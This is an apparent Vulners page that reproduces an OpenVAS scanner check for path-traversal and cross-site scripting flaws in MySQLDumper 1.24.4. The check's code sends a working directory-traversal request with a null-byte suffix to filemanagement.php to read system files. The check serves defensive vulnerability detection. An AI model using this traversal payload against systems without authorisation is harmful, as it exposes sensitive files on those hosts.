Lucene search
+L

MySQLDumper Multiple Vulnerabilities

🗓️ 30 Apr 2012 00:00:00Reported by Copyright (C) 2012 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 43 Views

MySQLDumper Multiple Vulnerabilities. Prone to multiple vulnerabilities due to input validation issues. Allows remote attackers to execute arbitrary script code, steal authentication credentials, and gain sensitive information

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2012-4251
27 Apr 201200:00
circl
circl
Circl
CVE-2012-4252
27 Apr 201200:00
circl
circl
Circl
CVE-2012-4253
27 Apr 201200:00
circl
circl
Circl
CVE-2012-4254
27 Apr 201200:00
circl
cve
CVE
CVE-2012-4251
13 Aug 201218:00
cve
cve
CVE
CVE-2012-4252
13 Aug 201218:00
cve
cve
CVE
CVE-2012-4253
13 Aug 201218:00
cve
cve
CVE
CVE-2012-4254
13 Aug 201218:00
cve
cve
CVE
CVE-2012-4255
13 Aug 201218:00
cve
cvelist
Cvelist
CVE-2012-4251
13 Aug 201218:00
cvelist
Rows per page
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:mysqldumper:mysqldumper";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902675");
  script_version("2025-04-15T05:54:49+0000");
  script_cve_id("CVE-2012-4251", "CVE-2012-4252", "CVE-2012-4253",
                "CVE-2012-4254", "CVE-2012-4255");
  script_tag(name:"cvss_base", value:"5.1");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:H/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2012-04-30 15:02:29 +0530 (Mon, 30 Apr 2012)");
  script_name("MySQLDumper Multiple Vulnerabilities");

  script_xref(name:"URL", value:"http://1337day.com/exploits/18146");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/53306");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/75283");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/75284");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/75285");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/75286");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/75287");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/112304/MySQLDumper-1.24.4-LFI-XSS-CSRF-Code-Execution-Traversal.html");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("sw_mysqldumper_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("mysqldumper/installed");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to execute
  arbitrary script code in the context of the affected site, steal cookie based
  authentication credentials, gain sensitive information or upload arbitrary
  code.");
  script_tag(name:"affected", value:"MySQLDumper version 1.24.4");
  script_tag(name:"insight", value:"The flaws are due to

  - Input passed via the 'language' parameter to signin.php and 'action'
  parameter to filemanagement.php script is not properly verified before
  being used, which allows attackers to read arbitrary files via a
  ../(dot dot) sequences.

  - Improper validation of user-supplied input passed via the 'phase' parameter
  to install.php, 'page' parameter to index.php, 'bid' parameter to sql.php
  and 'filename' parameter to restore.php, which allows attackers to execute
  arbitrary HTML and script code.");
  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");
  script_tag(name:"summary", value:"MySQLDumper is prone to multiple vulnerabilities.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_app");

  exit(0);
}

include("misc_func.inc");
include("traversal_func.inc");
include("http_func.inc");
include("host_details.inc");
include("os_func.inc");
include("http_keepalive.inc");

if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );

if( dir == "/" ) dir = "";

files = traversal_files();

foreach file ( keys( files ) ) {

  url = dir + "/filemanagement.php?action=dl&f=" +
        crap( data:"../", length:3*15 ) + files[file] + "%00";

  if( http_vuln_check( port:port, url:url, pattern:file, check_header:TRUE ) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Apr 2025 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 25.1
EPSS0.08465
43